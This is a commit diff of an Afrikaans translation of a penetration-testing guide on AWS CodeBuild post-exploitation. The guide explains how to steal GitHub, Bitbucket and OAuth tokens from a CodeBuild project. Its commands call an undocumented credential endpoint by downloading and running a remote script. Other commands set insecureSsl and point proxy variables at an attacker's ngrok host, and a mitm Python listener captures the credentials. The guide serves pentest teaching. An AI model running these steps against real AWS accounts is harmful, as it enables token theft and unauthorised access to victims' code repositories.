Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation

This commit is contained in:
Translator
2026-04-01 12:39:12 +00:00
parent 928b371ace
commit 07bd8e1dae
@@ -2,47 +2,58 @@
{{#include ../../../../banners/hacktricks-training.md}}
## Herstel Github/Bitbucket-gekonfigureerde Tokens
## Herwin Github/Bitbucket Gekonfigureerde Tokens
Eerstens, kyk of daar enige bron-inlogbewyse gekonfigureer is wat jy kan leak:
Eerstens, kyk of daar enige source credentials gekonfigureer is wat jy kan leak:
```bash
aws codebuild list-source-credentials
```
### Deur Docker-image
### Via RCE in CodeBuild Job
Indien jy sien dat authentisering, byvoorbeeld vir Github, in die account ingestel is, kan jy daardie **exfiltrate** daardie **access** (**GH token or OAuth token**) bewerkstellig deur Codebuild 'n **spesifieke Docker-image** te laat gebruik om die build van die projek uit te voer.
Van binne 'n CodeBuild job kan jy 'n ongedokumenteerde AWS CodeBuild API-endpoint aanroep wat die credentials sal teruggee wat deur CodeBuild gebruik word. Dit kan gebruik word om die credentials te bekom waarmee die CodeBuild job ingestel is, bv. AWS CodeConnection credentials, OAUTH of PAT credentials. Die CodeBuild job hoef nie privileged te wees om hierdie endpoint aan te spreek nie, en dit is ook moeilik om in logging en monitoring op te spoor aangesien CodeBuild self hierdie endpoint verskeie kere tydens opstart aanroep.
Vir hierdie doel kan jy 'n **nuwe Codebuild project** skep of die **omgewing** van 'n bestaande een verander om die **Docker image** te stel.
Die tegniek word verder verduidelik in [https://thomaspreece.com/2026/03/23/part-2-aws-codebuild-escalating-privileges-via-aws-codeconnections/](https://thomaspreece.com/2026/03/23/part-2-aws-codebuild-escalating-privileges-via-aws-codeconnections/) maar opsommend, om credentials binne die CodeBuild job te bekom, moet jy net die volgende uitvoer:
```
python -m pip install botocore boto3 requests
wget https://raw.githubusercontent.com/thomaspreece/AWS-CodeFactoryTokenService-API/refs/heads/main/GetBuildInfo.py
python ./GetBuildInfo.py
```
### Deur Docker Image
Die Docker-image wat jy kan gebruik is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Dit is 'n baie basiese Docker-image wat die **env variables `https_proxy`**, **`http_proxy`** en **`SSL_CERT_FILE`** sal stel. Dit sal jou toelaat om die meeste verkeer van die gasheer aangedui in **`https_proxy`** en **`http_proxy`** te onderskep en die SSL CERT aangedui in **`SSL_CERT_FILE`** te vertrou.
As jy vind dat outentisering, byvoorbeeld na Github, in die rekening ingestel is, kan jy **exfiltrate** daardie **toegang** (**GH token or OAuth token**) deur Codebuild te laat **gebruik 'n spesifieke docker image** om die projek se build te laat loop.
1. **Skep & laai op jou eie Docker MitM-image**
- Volg die instruksies in die repo om jou proxy IP-adres en SSL-cert in te stel en **bou die Docker-image**.
- **STEL NIE `http_proxy` NIE** om nie versoeke na die metadata endpoint te onderskep nie.
- Jy kan **`ngrok`** gebruik soos `ngrok tcp 4444` om die proxy na jou host te stel
- Sodra jy die Docker-image gebou het, **laai dit op na 'n openbare repo** (Dockerhub, ECR...)
2. **Stel die omgewing**
- Skep 'n **nuwe Codebuild project** of **wysig** die omgewing van 'n bestaande een.
- Stel die projek om die **vorheen gegenereerde Docker-image** te gebruik
Vir hierdie doel kan jy **skep 'n nuwe Codebuild-projek** of die **environment** van 'n bestaande verander om die **Docker image** te stel.
Die Docker image wat jy kan gebruik is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Dit is 'n baie basiese Docker image wat die **env variables `https_proxy`**, **`http_proxy`** en **`SSL_CERT_FILE`** sal stel. Dit sal jou toelaat om die meeste verkeer van die gasheer wat in **`https_proxy`** en **`http_proxy`** aangedui word te onderskep en die SSL-sertifikaat aangedui in **`SSL_CERT_FILE`** te vertrou.
1. **Skep & Laai op jou eie Docker MitM image**
- Volg die instruksies van die repo om jou proxy IP-adres te stel en jou SSL-sertifikaat in te stel en **bou die docker image**.
- **DO NOT SET `http_proxy`** om versoeke na die metadata-endpoint nie te onderskep nie.
- Jy kan **`ngrok`** soos `ngrok tcp 4444` gebruik om die proxy na jou gasheer te stel
- Sodra jy die Docker image gebou het, **laai dit op na 'n publieke repo** (Dockerhub, ECR...)
2. **Set the environment**
- Skep 'n **nuwe Codebuild-projek** of **wysig** die environment van 'n bestaande.
- Stel die projek om die **previously generated Docker image** te gebruik
<figure><img src="../../../../images/image (23).png" alt=""><figcaption></figcaption></figure>
3. **Stel die MitM-proxy op jou host**
3. **Stel die MitM proxy op jou gasheer**
- Soos aangedui in die **Github repo** kan jy iets soos gebruik:
```bash
mitmproxy --listen-port 4444 --allow-hosts "github.com"
```
> [!TIP]
> Die **mitmproxy-weergawe wat gebruik is, was 9.0.1**, dit is gerapporteer dat dit met weergawe 10 moontlik nie sal werk nie.
> Die **mitmproxy-weergawe wat gebruik is, was 9.0.1**, dit is gerapporteer dat met weergawe 10 dit dalk nie werk nie.
4. **Voer die build uit & vang die credentials op**
4. **Voer die build uit & vang die inlogbewyse**
- Jy kan die token in die **Authorization** header sien:
<figure><img src="../../../../images/image (273).png" alt=""><figcaption></figcaption></figure>
Dit kan ook vanaf die aws cli gedoen word met iets soos
Dit kan ook vanaf die aws cli met iets soos
```bash
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
@@ -73,15 +84,15 @@ aws codebuild start-build --project-name my-project2
```
### Deur insecureSSL
**Codebuild** projects het 'n instelling genaamd **`insecureSsl`** wat in die web UI versteek is — jy kan dit slegs via die API verander.\
As dit aangeskakel is, laat dit Codebuild toe om met die repository te koppel **sonder om die sertifikaat te verifieer** wat deur die platform aangebied word.
**Codebuild** projekte het 'n instelling genaamd **`insecureSsl`** wat in die web weggesteek is en wat jy slegs via die API kan verander.\
As jy dit aktiveer, kan Codebuild met die repository verbind **sonder om die sertifikaat te kontroleer** wat deur die platform aangebied word.
- Eerstens moet jy die huidige konfigurasie opvra met iets soos:
- Eerstens moet jy die huidige konfigurasie ophaal met iets soos:
```bash
aws codebuild batch-get-projects --name <proj-name>
```
- Dan, met die ingesamelde inligting kan jy die projekinstelling **`insecureSsl`** op **`True`** opdateer. Die volgende is 'n voorbeeld van hoe ek 'n projek opdateer, let op die **`insecureSsl=True`** aan die einde (dit is die enigste ding wat jy hoef te verander van die ingesamelde konfigurasie).
- Boonop voeg ook die omgewingsveranderlikes **http_proxy** en **https_proxy** by wat na jou tcp ngrok wys soos:
- Dan kan jy, met die ingesamelde inligting, die project instelling **`insecureSsl`** op **`True`** opdateer. Die volgende is 'n voorbeeld van my opdatering van 'n project, let op die **`insecureSsl=True`** aan die einde (dit is die enigste ding wat jy uit die ingesamelde konfigurasie hoef te verander).
- Voorts voeg ook die env veranderlikes **http_proxy** en **https_proxy** by wat na jou tcp ngrok wys, soos:
```bash
aws codebuild update-project --name <proj-name> \
--source '{
@@ -115,7 +126,7 @@ aws codebuild update-project --name <proj-name> \
]
}'
```
- Voer dan die basiese voorbeeld van [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) uit op die poort waarna die proxy-veranderlikes (http_proxy en https_proxy) wys
- Dan, voer die basiese voorbeeld van [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) uit op die poort wat deur die proxy-veranderlikes (http_proxy en https_proxy) aangedui word
```python
from mitm import MITM, protocol, middleware, crypto
@@ -132,20 +143,20 @@ mitm.run()
<figure><img src="../../../../images/image (1) (1).png" alt=""><figcaption></figcaption></figure>
### ~~Via HTTP-protocol~~
### ~~Deur HTTP-protokol~~
> [!TIP] > **Hierdie kwetsbaarheid is deur AWS op een of ander tydstip in die week van die 20ste Feb 2023 reggestel (ek dink Vrydag). Dus kan 'n attacker dit nie meer misbruik nie :)**
> [!TIP] > **Hierdie kwesbaarheid is deur AWS reggestel in die week van 20 Feb 2023 (ek dink Vrydag). Dus kan 'n attacker dit nie meer misbruik nie :)**
'n attacker met **elevated permissions in over a CodeBuild could leak the Github/Bitbucket token** wat gekonfigureer is, of as permissions via OAuth gekonfigureer is, die **temporary OAuth token used to access the code**.
An attacker met **elevated permissions in 'n CodeBuild could leak die Github/Bitbucket token** wat gekonfigureer is, of indien permissies via OAuth ingestel is, die **temporary OAuth token used to access the code**.
- 'n attacker kan die environment variables **http_proxy** en **https_proxy** by die CodeBuild project voeg wat na sy masjien wys (byvoorbeeld `http://5.tcp.eu.ngrok.io:14972`).
- An attacker kan die omgewingsveranderlikes **http_proxy** en **https_proxy** by die CodeBuild-projek voeg en na sy masjien wys (byvoorbeeld `http://5.tcp.eu.ngrok.io:14972`).
<figure><img src="../../../../images/image (232).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../images/image (213).png" alt=""><figcaption></figcaption></figure>
- Verander dan die URL van die github repo om HTTP in plaas van HTTPS te gebruik, byvoorbeeld: `http://github.com/carlospolop-forks/TestActions`
- Begin dan die basiese voorbeeld vanaf [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) op die poort waarna die proxy variables (http_proxy and https_proxy) wys
- Dan verander die URL van die github repo om HTTP in plaas van HTTPS te gebruik, byvoorbeeld: `http://github.com/carlospolop-forks/TestActions`
- Draai dan die basiese voorbeeld vanaf [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) op die poort waarna die proxy-variabeles (http_proxy en https_proxy) wys
```python
from mitm import MITM, protocol, middleware, crypto
@@ -158,18 +169,18 @@ certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
- Volgende, klik op **Build the project** of begin die build vanaf die opdraglyn:
- Klik dan op **Build the project** of begin die build vanaf die opdragreël:
```sh
aws codebuild start-build --project-name <proj-name>
```
- Laastens sal die **credentials** in **clear text** (base64) na die mitm port gestuur word:
Laastens sal die **credentials** **in clear text gestuur** (base64) na die mitm-poort:
<figure><img src="../../../../images/image (159).png" alt=""><figcaption></figcaption></figure>
> [!WARNING]
> Nou sal 'n attacker die token vanaf sy masjien kan gebruik, alle privileges wat dit het kan lys en dit makliker kan (ab)use as om die CodeBuild service direk te gebruik.
> Nou kan 'n aanvaller die token vanaf sy masjien gebruik, alle privileges wat dit het lys en dit makliker (ab)use as om die CodeBuild service direk te gebruik.
## Untrusted PR execution via webhook filter misconfiguration
## Onbetroubare PR-uitvoering via webhook-filter miskonfigurasie
Vir die PR-triggered webhook bypass chain (`ACTOR_ACCOUNT_ID` regex + untrusted PR execution), sien: